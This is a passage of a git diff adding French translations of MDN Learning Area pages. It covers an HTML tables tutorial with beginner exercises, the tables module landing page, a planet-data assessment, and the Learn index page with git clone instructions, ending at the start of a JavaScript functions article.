Vous pouvez également regarder sur l'exemple réel sur GitHub ! Vous remarquerez sur celui-ci que le tableau est légèrement plus lisible  — car le tableau figurant ci-dessus présente un style minimal, alors que sa version sur GitHub est liée à un  CSS plus signifiant.

+ +

Ne vous faites pas d'illusions ; pour obtenir un tableau avec un certain effet sur le web, vous devez fournir un minimum d'informations de style avec CSS, ainsi qu'une structure solide avec HTML. Dans ce module nous nous concentrons sur la partie HTML ; pour en savoir plus sur la partie CSS, vous devrez lire notre article Style et tableaux quand vous aurez fini ici.

+ +

Nous n'approfondirons pas le CSS dans ce module, mais nous avons écrit une feuille de style minimale CSS à utiliser ici, feuille de style qui rendra les tableaux plus lisibles qu'avec un format par défaut sans style. Vous trouverez cette feuille de style ici, et également un exemple HTML d'application de cette feuille de style là — ensemble ils vous donneront un bon point de départ pour expérimenter sur les tableaux HTML.

+ +

Quand NE PAS utiliser de tableaux en HTML ?

+ +

Les tableaux HTML ne doivent être utilisés que pour des données tabulaires — c'est pour cela qu'ils sont conçus. Malheureusement, beaucoup de gens ont utilisé les tableaux HTML pour organiser des pages Web, par exemple : une ligne pour contenir l'en-tête, une ligne pour les colonnes de contenu, une ligne pour le pied de page, etc. Vous pouvez trouver plus de détails et un exemple avec Mises en page dans notre Module d'apprentissage à l'Accessibilité. Cette dispostion a été couramment utilisée car la prise en charge des CSS parmi les navigateurs avait pour coutume d'être effroyable ; ces mises en page sont beaucoup moins fréquentes de nos jours, mais vous pouvez toujours les voir dans certains recoins du Web.

+ +

Bref, utiliser les tableaux pour la mise en page au lieu des techniques des CSS est une mauvaise idée. En voici les principales raisons :

+ +
    +
  1. Les tableaux de mise en page diminuent l'accessibilité aux malvoyants : les lecteurs d'écran, utilisés par les non-voyants, interprêtent les balises d'une page HTML et lisent à haute voix le contenu à l'utilisateur. Comme les tables ne sont pas le bon outil pour la mise en page et que le balisage est plus complexe qu'avec les techniques de mise en page des CSS, la sortie des lecteurs d'écran sera source de confusion pour leurs utilisateurs.
    2. +
  2. Les tables produisent de la bouillie : Comme mentionné ci-dessus, les mises en page sur la base de tableaux comportent généralement des structures de balisage plus complexes que des techniques de mise en page appropriées. Le code résultant sera plus difficile à écrire, à maintenir et à déboguer.
    3. +
  3. Les tableaux ne s'adaptent pas automatiquement : Si vous utilisez les propriétés de mise en page ({{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}} ou {{htmlelement("div")}}), leur largeur est par défaut 100% de celle du parent. Par contre, les tableaux sont dimensionnés en fonction de leur contenu par défaut, de sorte que des mesures supplémentaires sont nécessaires pour que le style du tableau fonctionne effectivement sur les différents types d'écran.
    4. +
+ +

Apprentissage actif : créer votre premier tableau

+ +

Nous avons assez parlé théorie, alors, plongeons dans un exemple pratique et construisons un tableau simple.

+ +
    +
  1. Avant tout, faites une copie locale de blank-template.html et minimal-table.css dans un nouveau répertoire de votre ordinateur.
    2. +
  2. Le contenu de chaque tableau est encadré par ces deux balises : <table></table>. Ajoutez‑les dans le corps de votre HTML.
    3. +
  3. Le plus petit conteneur d'un tableau est la cellule ; elle est créée avec l'élément  <td> (« td » comme « tableau données »). Ajoutez ceci entre les balises du tableau : + 
    <td>Bonjour, je suis votre première cellule.</td>
    +
    4. +
  4. Si nous voulons une rangée de quatre cellules, nous devons copier la première trois fois. Mettez à jour le contenu du tableau pour avoir quelque chose comme : + 
    <td>Bonjour, je suis votre première cellule </td>
+<td>je suis votre deuxième cellule</td>
+<td>je suis votre troisième cellule</td>
+<td>je suis votre quatrième cellule</td>
    +
    5. +
+ +

Comme vous le verrez, les cellules ne sont pas placées les unes en dessous des autres, mais elles sont automatiquement affichées dans une même ligne. chaque élément <td> crée une cellule simple et ensemble elles forment la première ligne. Toutes les cellules que nous ajoutons allongent la ligne.

+ +

Pour empêcher cette ligne de croître et commencer à placer les cellules suivantes sur une deuxième ligne, nous devons utiliser la balise <tr> (« tr » comme « table rangée »). Étudions cela maintenant.

+ +
    +
  1. Placez les quatre cellules que vous avez créées entre deux balises <tr> ainsi : + + 
    <tr>
+  <td>Bonjour, je suis votre première cellule </td>
+  <td>je suis votre deuxième cellule </td>
+  <td>je suis votre troisième cellule </td>
+  <td>je suis votre quatrième cellule </td>
+</tr>
    +
    2. +
  2. Maintenant, vous avez fait une ligne, faites en encore une ou deux — chaque ligne doit être encadrée de <tr>, et comprend chaque cellule encadrée par <td>.
    3. +
+ +

Il devrait en résulter un tableau qui ressemble à :

+ + + + + + + + + + + + + + + + +
Bonjour, je suis votre première cellule.je suis votre deuxième cellule.je suis votre troisième celluleje suis votre quatrième cellule
Deuxième ligne, première cellule.Cellule 2.Cellule 3.Cellule 4.
+ +
+

Note: Vous pouvez également trouver cela sur GitHub simple-table.html (voir en direct aussi).

+
+ +

Ajouter des en-têtes avec <th>

+ +

Intéressons-nous maintenant aux en-têtes du tableau — cellules spéciales qui débutent une ligne ou une colonne et définissent le type de données que contiennent la rangée ou la colonne (à titre d'exemple, voir les cellules "Personne" et "Âge" dans le premier exemple illustré dans cet article). Pour comprendre pourquoi ils sont utiles, regardez l'exemple du tableau suivant. Tout d'abord, le code source :

+ +
<table>
+  <tr>
+    <td>&nbsp;</td>
+    <td>Knocky</td>
+    <td>Flor</td>
+    <td>Ella</td>
+    <td>Juan</td>
+  </tr>
+  <tr>
+    <td>Race</td>
+    <td>Jack Russell</td>
+    <td>Poodle</td>
+    <td>Streetdog</td>
+    <td>Cocker Spaniel</td>
+  </tr>
+  <tr>
+    <td>Age</td>
+    <td>16</td>
+    <td>9</td>
+    <td>10</td>
+    <td>5</td>
+  </tr>
+  <tr>
+    <td>Propriétaire</td>
+    <td>Belle-mère</td>
+    <td>Moi</td>
+    <td>Moi</td>
+    <td>Belle-soeur</td>
+  </tr>
+  <tr>
+    <td>Habitudes alimentaires</td>
+    <td>Mange tous les restes</td>
+    <td>Grignotte la nourriture</td>
+    <td>Mange copieusement</td>
+    <td>Mange jusqu'à ce qu'il éclate</td>
+  </tr>
+</table>
+ +

Maintenant, le rendu du tableau réel :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KnockyFlorEllaJuan
RaceJack RussellPoodleStreetdogCocker Spaniel
Age169105
PropriétaireBelle-mèreMoiMoiBelle-soeur
Habitudes alimentairesMange tous les restesGrignotte la nourritureMange copieusementMange jusqu'à ce qu'il éclate
+ +

Le problème ici c'est que, bien que vous puissiez comprendre le tableau, il n'est pas aussi facile de croiser les données que cela pourrait être. Si les en-têtes de colonnes et de lignes se démarquaient d'une manière ou d'une autre, ce serait mieux.

+ +

Apprentissage actif : en-tête de tableau

+ +

Améliorons ce tableau.

+ +
    +
  1. En premier lieu, faites une copie des fichiers dogs-table.html et minimal-table.css dans un nouveau répertoire sur votre ordinateur. Le contenu HTML est similaire à l'exemple « Dogs » ci-dessus.
    2. +
  2. Pour reconnaître les en-têtes de tableau en tant qu'en-têtes, visuellement et sémantiquement, vous pouvez utiliser la balise <th> (« th » comme « table header » ou en-tête de tableau). Il fonctionne exactement comme la balise <td>, à ceci près qu'il indique un en-tête et non une cellule normale. Allez dans le code HTML, et remplacez tous les <td> des cellules entourant le tableau par des <th>.
    3. +
  3. Enregistrez votre HTML et chargez-le dans un navigateur. Vous devriez voir que les en-têtes ressemblent maintenant à des en-têtes.
    4. +
+ +
+

Note : Vous pouvez trouver notre exemple achevé dogs-table-fixed.html sur GitHub (voir en direct aussi).

+
+ +

Pourquoi les en-têtes sont-ils utiles ?

+ +

Nous avons déjà partiellement répondu à cette question — il vous est plus facile de trouver les données que vous cherchez quand les en-têtes sont marqués clairement, et la conception globale du tableau paraît meilleure.

+ +
+

Note : Les en-têtes de tableau sont accompagnés d'un style par défaut — ils sont en gras et centrés même si vous n'ajoutez pas votre propre style pour les démarquer.

+
+ +

Les en-têtes de tableau ont un autre avantage — avec l'attribut scope (que nous étudierons dans le prochain article), ils rendent les tableaux plus accessibles en associant chaque en-tête à toutes les données des cellules d'une ligne ou d'une colonne. Les lecteurs d'écran peuvent alors lire toute une ligne ou une colonne de données, ce qui peut être très utile.

+ +

Étendre des cellules sur plusieurs lignes ou colonnes

+ +

Parfois, nous voulons qu'une cellule couvre plusieurs lignes ou colonnes. Prenez l'exemple simple suivant, qui montre le nom d'animaux communs. Dans certains cas, nous voulons montrer les noms du mâle et de la femelle à côté du nom générique de l'animal. Parfois nous ne le faisons pas, et nous voulons alors que le nom générique de l'animal s'étende sur toute la largeur du tableau.

+ +

Le code initial ressemble à cela :

+ +
<table>
+  <tr>
+    <th>Animaux</th>
+  </tr>
+  <tr>
+    <th>Hippopotame</th>
+  </tr>
+  <tr>
+    <th>Cheval</th>
+    <td>Jument</td>
+  </tr>
+  <tr>
+    <td>Étalon</td>
+  </tr>
+  <tr>
+    <th>Crocodile</th>
+  </tr>
+  <tr>
+    <th>Poulet</th>
+    <td>Coq</td>
+  </tr>
+  <tr>
+    <td>Coq</td>
+  </tr>
+</table>
+ +

Mais le résultat ne nous donne pas ce que nous voulions :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Animaux
Hippopotame
ChevalJument
Étalon
Crocodile
PouletCoq
Coq
+ +

Nous avons besoin d'un moyen pour étendre "Animaux", "Hippopotame" et "Crocodile" sur deux colonnes, and "Cheval" et "Poulet" sur deux lignes. Heureusement, les en-têtes de tableau et les cellules ont les attributs colspan et rowspan, ce qui nous permet justement de faire cela. Les deux acceptent une valeur numérique correspondant au nombre de colonnes ou de lignes à couvrir. Par exemple, colspan="2" génère une cellule sur deux colonnes.

+ +

Utilisons colspan et rowspan pour améliorer ce tableau.

+ +
    +
  1. Tout d'abord, faites une copie locale de nos fichiers animals-table.html et minimal-table.css dans un nouveau répertoire sur votre ordinateur. Le HTML contient le même exemple d'animaux vu ci-dessus.
    2. +
  2. Ensuite, utilisez colspan pour mettre « Animaux », « Hippopotame » et « Crocodile » sur deux colonnes.
    3. +
  3. Enfin, utilisez rowspan pour mettre « Cheval » and « Poulet » sur deux lignes.
    4. +
  4. Enregistrez et ouvrez votre code sur un navigateur pour voir l'amélioration.
    5. +
+ +
+

Note : Vous pouvez trouver l'exemple achevé dans animals-table-fixed.html sur GitHub (voir en direct aussi).

+
+ + +
+ +

Attribuer un style commun aux colonnes

+ +

Il y a une dernière fonctionnalité dont nous devons parler dans cet article avant de passer à autre chose. HTML a une méthode de définition des styles pour une colonne entière de données en un seul endroit — les éléments <col> and <colgroup>. Ils existent parce qu'il peut être ennuyeux et inefficace de préciser le style dans chaque colonne  — vous devez généralement spécifier les éléments de style dans chaque  <td> ou <th> de la colonne, ou utiliser un selecteur complexe tel que {{cssxref(":nth-child()")}}.

+ +

Observez l'exemple simple suivant :

+ +
<table>
+  <tr>
+    <th>Data 1</th>
+    <th style="background-color: yellow">Data 2</th>
+  </tr>
+  <tr>
+    <td>Calcutta</td>
+    <td style="background-color: yellow">Orange</td>
+  </tr>
+  <tr>
+    <td>Robots</td>
+    <td style="background-color: yellow">Jazz</td>
+  </tr>
+</table>
+ +

Ce qui nous donne comme résultat :

+ + + + + + + + + + + + + + + + +
Data 1Data 2
CalcuttaOrange
RobotsJazz
+ +

Ce n'est pas idéal, car nous devons répéter les informations de style dans les trois cellules de la colonne  (nous aurions probablement défini une classe dans un projet réel et spécifié le style dans une feuille de style séparée). À la place, nous pouvons préciser l'information une seule fois dans un élément <col>. Les éléments <col> sont utilisés dans un conteneur <colgroup> juste en-dessous de la balise <table>. Nous pourrions créer le même effet que  celui vu plus haut en spécifiant notre tableau comme suit :

+ +
 <table>
+   <colgroup>
+    <col>
+    <col style="background-color: yellow">
+  </colgroup>
+  <tr>
+    <th>Data 1</th>
+    <th>Data 2</th>
+  </tr>
+  <tr>
+    <td>Calcutta</td>
+    <td>Orange</td>
+  </tr>
+  <tr>
+    <td>Robots</td>
+    <td>Jazz</td>
+  </tr>
+</table>
+ +

En effet, nous définissons deux « styles de colonnes », les informations de style pour chaque colonne. Nous n'appliquons pas de style pour la première colonne, mais nous devons inclure un élément <col>  vide — si nous ne le faisons pas, le style indiqué s'appliquera à la première colonne.

+ +

Si nous voulions appliquer les informations de style aux deux colonnes, nous devrions juste inclure un élément <col> avec un attribut span, comme ceci :

+ +
<colgroup>
+  <col style="background-color: yellow" span="2">
+</colgroup>
+ +

Comme colspan et rowspan, span reçoit une valeur numérique qui précise le nombre de colonnes sur lesquelles le style s'applique.

+ +

Apprentissage actif : colgroup et col

+ +

Maintenant, il est temps de vous y mettre vous-même.

+ +

Ci-dessous, vous pouvez voir le planning d'un professeur de langues. Le vendredi, elle a une nouvelle classe pour l'enseignement du néerlandais toute la journée, mais elle enseigne aussi l'allemand pendant de courtes périodes les mardis et jeudis. Elle veut souligner les colonnes des jours où elle enseigne.

+ +

{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}}

+ +

Recréez le tableau en suivant les étapes ci-dessous.

+ +
    +
  1. Tout d'abord, faites une copie locale du fichier timetable.html dans un nouveau répertoire sur votre ordinateur. Le HTML contient le tableau vu ci-dessus, à l'exception des informations de style des colonnes.
    2. +
  2. Ajoutez un élément <colgroup>  au début du tableau, juste en dessous de la balise <table>,dans lequel vous pouvez ajouter vos éléments <col> (voir les étapes restantes ci-dessous).
    3. +
  3. Les deux premières colonnes doivent rester sans style.
    4. +
  4. Ajoutez une couleur de fond à la troisième colonne. La valeur de votre attribut style est background-color:#97DB9A;
    5. +
  5. Définissez une largeur différente pour la quatrième colonne. La valeur de votre attribut style est width: 42px;
    6. +
  6. Ajoutez une couleur de fond pour la cinquième colonne. La valeur de votre attribut style est background-color: #97DB9A;
    7. +
  7. Ajoutez une couleur de fond différente et une bordure pour la sixième colonne, pour signifier que c'est une journée spéciale et qu'elle enseigne à une nouvelle classe. Les valeurs de votre attribut style sont background-color:#DCC48E; border:4px solid #C1437A;
    8. +
  8. Les deux derniers jours sont libres, alors pas de couleur de fond mais une largeur à spécifier ; la valeur de votre attribut style est width: 42px;
    9. +
+ +

Voyez comment vous lisez avec l'exemple. Si vous êtes coincé ou souhaitez vérifier votre travail, vous pouvez trouver notre version timetable-fixed.html (à voir aussi directement) sur GitHub .

+ +

Résumé

+ +

Cela ne fait que compléter les bases des tableaux HTML. Dans l'article suivant, nous allons voir quelques fonctionnalités de tableaux un peu plus avancées et commencer à penser à quel point elles sont accessibles pour les malvoyants.

+ +
{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
+ + + +
+

Dans ce module

+ + +
diff --git a/files/fr/learn/html/tables/index.html b/files/fr/learn/html/tables/index.html new file mode 100644 index 0000000000..5dd680eddf --- /dev/null +++ b/files/fr/learn/html/tables/index.html @@ -0,0 +1,43 @@ +--- +title: Les tableaux en HTML +slug: Apprendre/HTML/Tableaux +tags: + - Article + - CodingScripting + - Débutant + - Guide + - HTML + - Landing + - Module + - Tableaux +translation_of: Learn/HTML/Tables +--- +
{{LearnSidebar}}
+ +

Une tâche assez courante en HTML consiste à structurer des données sous forme de tableaux. HTML dispose d'un certain nombre d'éléments avec attributs à cet effet. Couplé avec un peu de CSS pour styliser ces tableaux, HTML facilite l'affichage d'informations dans des tableaux sur le web comme les emplois du temps de l'école par exemple, les horaires d'ouverture de la piscine du quartier ou des statistiques à propos de votre équipe de football ou de dinosaures favorite. Ce module parcourt tout ce que vous devez savoir pour structurer des données sous forme de tableaux en utilisant HTML.

+ +

Prérequis

+ +

Avant de commencer ce module, vous devez déjà connaître les bases du HTML  — voyez Introduction au HTML.

+ +
+

Note : Si vous travaillez sur un ordinateur/tablette/autre appareil avec lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous devriez essayer (la plupart) des exemples de code dans un programme de codage en ligne comme JSBin ou Thimble.

+
+ +

Guides

+ +

Ce module contient les articles suivants :

+ +
+
Bases à propos des Tableaux en HTML
+
Cet article vous initie aux tableaux en HTML. Il porte sur les bases comme les rangées, cellules, en-têtes, cellules sur plusieurs colonnes ou lignes, ainsi que sur la façon de regrouper les cellules dans une colonne en vue d'affecter un style.
+
Caractéristiques avancées des Tableaux HTML et accessibilité
+
Dans le second article de ce module, nous allons aborder quelques fonctionnalités plus avancées des tableaux en HTML — comme les intitulés / résumés et le regroupement de rangées dans des sections d'en-tête, de corps ou de pied — ainsi que l'accessibilité aux tableaux pour des utilisateurs ayant des problèmes visuels.
+
+ +

Évaluation des connaissances

+ +
+
Structuration de données sur les planètes
+
Pour une évaluation des connaissances en matière de tableaux, nous vous  fournissons quelques données sur les planètes du système solaire et nous vous demandons de les structurer sous forme de tableau HTML.
+
diff --git a/files/fr/learn/html/tables/structuring_planet_data/index.html b/files/fr/learn/html/tables/structuring_planet_data/index.html new file mode 100644 index 0000000000..7ee33d6adf --- /dev/null +++ b/files/fr/learn/html/tables/structuring_planet_data/index.html @@ -0,0 +1,72 @@ +--- +title: "Revue\_: structurer les données des planètes" +slug: Apprendre/HTML/Tableaux/Structuring_planet_data +translation_of: Learn/HTML/Tables/Structuring_planet_data +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
+ +

Dans notre évaluation, nous vous fournissons des données sur les planètes de notre système solaire pour vous permettre de les structurer dans un tableau HTML.

+ + + + + + + + + + + + +
Prérequis :Avant de tenter cette évaluation, vous devez déjà avoir travaillé tous les articles de ce module.
Objectif :Vérifier la compréhension des tableaux HTML et des fonctionnalités associées.
+ +

Point de départ

+ +

Pour commencer cette évaluation, créez des copies locales de blank-template.html, minimal-table.css et planets-data.txt dans un nouveau répertoire dans votre ordinateur.

+ +
+

Note: Vous pouvez aussi utiliser un site commeJSBin ou Thimble pour votre évaluation. Vous pouvez coller les HTML, CSS et JavaScript dans l'un de ces éditeurs en ligne. Si votre éditeur en ligne n'a pas de panneaux séparés JavaScript/CSS, n'hésitez pas à les mettre en ligne <script>/<style> dans la page HTML.

+
+ +

Résumé du projet

+ +

Vous travaillez dans une école ; actuellement, vos étudiants étudient les planètes de notre système solaire, et vous souhaitez leur fournir un ensemble de données faciles à suivre, pour rechercher des faits et des chiffres sur les planètes. Un tableau de données HTML serait idéal : vous devez prendre les données brutes disponibles et les organiser en tableau, en suivant les étapes ci-dessous.

+ +

Le tableau terminé devrait ressembler à celui-ci :

+ +

+ +

Vous pouvez aussi regarder l'exemple ici (sans regarder le code source — ne trichez pas !)

+ +
    +
+ +

Étapes à suivre

+ +

Les étapes suivantes décrivent ce que vous devez faire pour complèter l'exemple de tableau. Toutes les données dont vous avez besoin sont contenues dans le fichier planets-data.txt. Si vous avez du mal à visualiser les données, regardez l'exemple donné dans le lien ci-dessus, ou essayez de dessiner un diagramme.

+ +
    +
  1. Ouvrez votre copie de blank-template.html, et commencez le tableau en lui donnant un conteneur extérieur, un en-tête et un corps de tableau. Vous n'avez pas besoin d'un pied de tableau dans cet exemple.
    2. +
  2. Ajoutez la légende fournie à votre tableau.
    3. +
  3. Ajoutez une ligne à l'en-tête contenant tous les en-têtes de colonnes.
    4. +
  4. Créez toutes les lignes de contenu du corps du tableau, en vous rappelant de faire systématiquement tous les en-têtes de lignes.
    5. +
  5. Assurez-vous que tout le contenu est inséré dans les cellules de droite - dans les données brutes, chaque ligne de données d'une planète est affiché à côté de la planète associée.
    6. +
  6. Ajoutez les attributs pour créer des en-têtes de lignes et colonnes ne pouvant être confondus avec les lignes, colonnes et groupes de lignes dont ils sont les en-têtes.
    7. +
  7. Ajoutez une bordure noire pour entourer la colonne contenant les noms des planètes (en-têtes de lignes).
    8. +
+ +

Conseils et astuces

+ +
    +
  • La première cellule de la ligne d'en-tête doit être vierge et couvrir deux colonnes.
    • +
  • Les en-têtes regrouppant des lignes (exemple : les planètes joviennes) qui sont à gauche des en-têtes de lignes des noms des planètes (exemple :  Saturne) sont un peu difficiles à trier — vous devez vous assurer que chacun d'eux couvre le bon nombre de lignes et colonnes.
    • +
  • une des méthodes d'association des en-têtes avec leurs lignes et colonnes est un peu plus facile que l'autre.
    • +
+ +

Correction

+ +

Si vous réalisez cette évaluation dans le cadre d'un cours organisé, vous devez pouvoir remettre votre travail à votre professeur/formateur pour la correction. Si vous êtes en auto-apprentissage, alors vous pouvez obtenir aisément le guide de correction par une demande auprès de Learning Area Discourse thread, ou dans le #mdn canal IRC sur Mozilla IRC. Essayez d'abord l'exercice — il n'y a rien à gagner en trichant !

+ +

{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}

diff --git a/files/fr/learn/index.html b/files/fr/learn/index.html new file mode 100644 index 0000000000..43c361e157 --- /dev/null +++ b/files/fr/learn/index.html @@ -0,0 +1,143 @@ +--- +title: Apprendre le développement web +slug: Apprendre +tags: + - Apprendre + - CSS + - Débutant + - HTML + - Index + - Introduction + - Landing + - Web +translation_of: Learn +--- +

{{LearnSidebar}}

+ +
+

Bienvenue dans l'Espace d'apprentissage du MDN. Cet ensemble d'articles a pour but de fournir aux développeurs Web débutants tout ce dont ils ont besoin pour commencer à développer des sites web simples.

+
+ +

Le but de cette section du MDN n'est pas de vous faire passer de « débutant » à « expert », mais plutôt de vous mettre à l'aise avec les technologies. À partir de là, vous devriez être capable de vous débrouiller par vous-même, en utilisant le reste du contenu du MDN et d'autres ressources.

+ +

Si vous êtes un débutant complet, le développement web peut être un réel défi — notre but est de simplifier suffisamment le sujet pour que vous appreniez facilement, tout en vous fournissant assez de détails pour que vous soyez autonome. Vous devriez vous sentir chez vous, que vous soyez un étudiant apprenant le développement web (de votre propre gré ou dans le cadre de vos études), un enseignant recherchant des supports de cours, un amateur ou quelqu'un qui souhaite simplement comprendre la manière dont fonctionnent le web et ses technologies.

+ +

Quoi de neuf ?

+ +

Le contenu de l'espace d'apprentissage est régulièrement enrichi. Nous avons commencé à conserver les notes de version de l'espace de formation afin de vous indiquer ce qui a changé - revenez souvent !

+ +

Si vous avez des questions concernant des sujets que vous aimeriez voir couverts ou si vous pensez qu'ils en manquent, envoyez-nous un message sur notre Forum de discussion.

+ +
+

Vous voulez devenir un développeur web front-end ?

+ +

Nous avons mis au point un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif.

+ +

Commencez

+
+ +

Par où commencer ?

+ +
    +
  • Complètement débutant : + +

    Si vous êtes totalement débutant dans le développement Web, nous vous recommandons de commencer par travailler notre module « Premiers pas sur le Web », qui est une introduction pratique au développement Web.

    +
    • +
  • Questions spécifiques : +

    Si vous avez des questions spécifiques à propos du développement Web, notre section Questions fréquentes peut contenir quelque chose susceptible de vous aider.

    +
    • +
  • Au-delà des bases : +

    Si vous possédez déjà quelques connaissances, l'étape suivante consiste à étudier en détail le {{glossary("HTML")}} et les {{glossary("CSS")}} : débutez avec notre module Introduction au HTML, puis voyez le module Introduction aux CSS.

    +
    • +
  • Écrire des scripts : +

    Si vous êtes déjà à l'aise avec le HTML et les CSS, ou si vous êtes plutôt intéressé par le codage, voyez le {{glossary("JavaScript")}} ou le développement côté serveur. Commencez par nos modules JavaScript : premiers pas et Premiers pas côté serveur.

    +
    • +
+ +
+

Note : Notre Glossaire fournit des définitions de la terminologie employée.

+
+ +

{{LearnBox({"title":"Entrée aléatoire dans le glossaire"})}}

+ +

Rubriques couvertes

+ +

Voici une liste de toutes les rubriques couvertes dans la zone d'apprentissage du MDN.

+ +
+
Débuter avec le développement web
+
Une introduction pratique au développement web pour les vrais débutants.
+
HTML — structuration du web
+
Le HTML est le langage utilisé pour structurer les diverses parties d'un contenu et définir leur signification et leur rôle. Cet article vous enseigne le HTML en détail.
+
CSS — style du web
+
CSS est le langage que nous pouvons aussi bien utiliser pour styliser et mettre en forme les contenus web que pour ajouter des comportements tel l'animation. Cet article couvre exhaustivement les CSS.
+
JavaScript — des scripts dynamiques coté client
+
C'est le langage de script utilisé pour ajouter des fonctionnalités dynamiques aux pages web. Cet article enseigne les fondamentaux nécessaires pour comprendre et écrire aisément du JavaScript.
+
Accessibilité — rendre le web utilisable par tous
+
L'accessibilité consiste à rendre le contenu web disponible au plus grand nombre de personnes possible quels que soient leur handicap, leur matériel, leur résidence ou autres différences. Cet article fournit tout le savoir nécessaire.  
+
Outils et tests
+
Cette rubrique présente les outils que les développeurs utilisent pour faciliter leur travail, tels que les outils de test inter-navigateurs.
+
Programmation de site web coté serveur
+
Même si vous êtes focalisés sur le développement côté client, il est toujours utile de connaître le mode de fonctionnement des serveurs et des fonctionnalités du code côté serveur. Cette rubrique fournit une introduction générale sur le fonctionnement côté serveur et des didacticiels détaillant la manière de créer une application côté serveur à l'aide de deux environnements applicatifs populaires : Django (en Python) et Express (node.js).
+
+ +

Obtenir nos exemples de code

+ +

Les exemples de code que vous rencontrerez dans l'Espace d'apprentissage sont tous disponibles sur GitHub. Si vous voulez les copier sur votre ordinateur, le plus facile est de :

+ +
    +
  1. Installer Git sur votre machine. C'est le logiciel sous‑jacent de contrôle de version sur lequel GitHub fonctionne.
    2. +
  2. S'inscrire pour obtenir un compte GitHub.
    3. +
  3. Une fois inscrit, se connecter dans github.com avec votre nom d'utilisateur et votre mot de passe.
    4. +
  4. Ouvrir l'invite de commande (Windows) ou un terminal (Linux, macOS).
    5. +
  5. Pour copier depuis le dépôt de l'espace d'apprentissage un répertoire nommé « learning-area » à l'emplacement courant dans votre ordinateur, utilisez la commande suivante : + 
    git clone https://github.com/mdn/learning-area
    +
    6. +
  6. Vous pouvez maintenant saisir le répertoire et retrouver les fichiers recherchés (soit avec votre explorateur de fichiers ou avec la commande cd).
    7. +
+ +

Vous pouvez mettre à jour le dépôt de learning-area pour tout changement intervenu sur la version maître de GitHub en parcourant les étapes suivantes :

+ +
    +
  1. Dans votre terminal/invite de commande, allez dans le répertoire learning-area avec cd. Par exemple, si vous êtes dans son répertoire parent : + + 
    cd learning-area
    +
    2. +
  2. Mettez à jour le dépôt avec la commande : + 
    git pull
    +
    3. +
+ +

Nous contacter

+ +

Si vous voulez nous contacter au sujet de quoi que ce soit, le meilleur moyen est de nous envoyer un message sur le fil de discussion de l'Espace d'apprentissage ou sur les canaux de l'IRC. Nous aimerions que vous nous fassiez part de tout ce que vous pensez être erroné ou manquant sur le site, des demandes de nouveaux sujets d'apprentissage, des demandes d'aide pour des éléments que vous ne comprenez pas ou toute autre question ou préoccupation.

+ +

Si vous êtes intéressé pour aider à développer/améliorer le contenu, jetez un coup d'œil à la façon dont vous pouvez aider, et contactez-nous ! Nous sommes plus qu'heureux de parler avec vous, que vous soyez un apprenti, un enseignant, un développeur web expérimenté ou quelqu'un d'autre intéressé à améliorer l'expérience d'apprentissage.

+ +

Voir aussi

+ +
+
Mozilla Developer Newsletter
+
Notre newsletter pour les développeurs web, une grande aide pour tous niveaux de compétence.
+
Learn JavaScript
+
Une excellente ressource pour les futurs développeurs web - Apprenez JavaScript dans un environnement interactif, avec des leçons courtes et des tests interactifs, avec une évaluation automatisée. Les 40 premières leçons sont gratuites, et le cours complet est disponible contre un petit paiement unique.
+
Web demystified
+
Une grande série de vidéos expliquant les principes fondamentaux du web, destinée aux débutants absolus en matière de développement web. Créé par Jérémie Patonnier.
+
Codecademy
+
Un site interactif pour apprendre les langages de programmation à partir du début.
+
BitDegree
+
Théorie de base du codage avec un processus d'apprentissage ludique. Principalement destiné aux débutants.
+
Code.org
+
Théories de codage de base et pratique, destiné essentiellement aux enfants et aux débutants.
+
EXLskills
+
Cours gratuits et ouverts pour l'acquisition de compétences techniques, avec mentorat et apprentissage par projet.
+
freeCodeCamp.org
+
Site interactif avec didacticiels et projets pour apprendre le développement web.
+
+ +
+
Web literacy map
+
Un framework pour l'initiation à la maîtrise du web et aux compétences du XXIe siècle, qui donne également accès à des activités d'enseignement classées par catégorie.
+
Edabit
+
Des milliers de défis JavaScript interactifs.
+
diff --git a/files/fr/learn/index/index.html b/files/fr/learn/index/index.html new file mode 100644 index 0000000000..fac23a4c5b --- /dev/null +++ b/files/fr/learn/index/index.html @@ -0,0 +1,11 @@ +--- +title: Index +slug: Apprendre/Index +tags: + - Index + - Learn + - MDN + - Meta +translation_of: Learn/Index +--- +

{{Index("/fr/docs/Apprendre")}}

diff --git a/files/fr/learn/javascript/building_blocks/build_your_own_function/index.html b/files/fr/learn/javascript/building_blocks/build_your_own_function/index.html new file mode 100644 index 0000000000..6f53bebcd7 --- /dev/null +++ b/files/fr/learn/javascript/building_blocks/build_your_own_function/index.html @@ -0,0 +1,241 @@ +--- +title: Construire vos propres fonctions +slug: Apprendre/JavaScript/Building_blocks/Build_your_own_function +tags: + - Apprentissage + - Article + - Débutant + - Fonctions + - Guide + - I10n + - JavaScript + - Paramètres + - Scripting + - Tutoriel +translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}
+ +

Dans l'article précédent, nous avons traité essentiellement de la théorie. Le présent article fournira une expérience pratique. Ici vous allez mettre en pratique ces connaissances en construisant vos propres fonctions. Tout au long, nous expliquerons également quelques détails supplémentaires concernant les fonctions.

+ + + + + + + + + + + + +
Prérequis :Savoir-faire de base, une compréhension minimale HTML et CSS, premiers pas en JavaScript, Fonctions — blocs de code réutilisables.
Objectif :Fournir quelques pratiques de création de fonctions, et expliquer un peu plus les détails associés.
+ +

Apprentissage actif : Construisons une fonction

+ +

La fonction que nous allons construire sera nommée displayMessage(). Elle affichera une boîte de message personnalisée sur une page web. Elle fonctionnera comme un substitut personnalisé de la fonction alert() du navigateur. Vous avez déjà vu cela avant, mais nous allons simplement nous rafraîchir la mémoire — essayez le code qui suit dans la console JavaScript de votre navigateur, sur n'importe quelle page que vous aimez :

+ +
alert('This is a message');
+ +

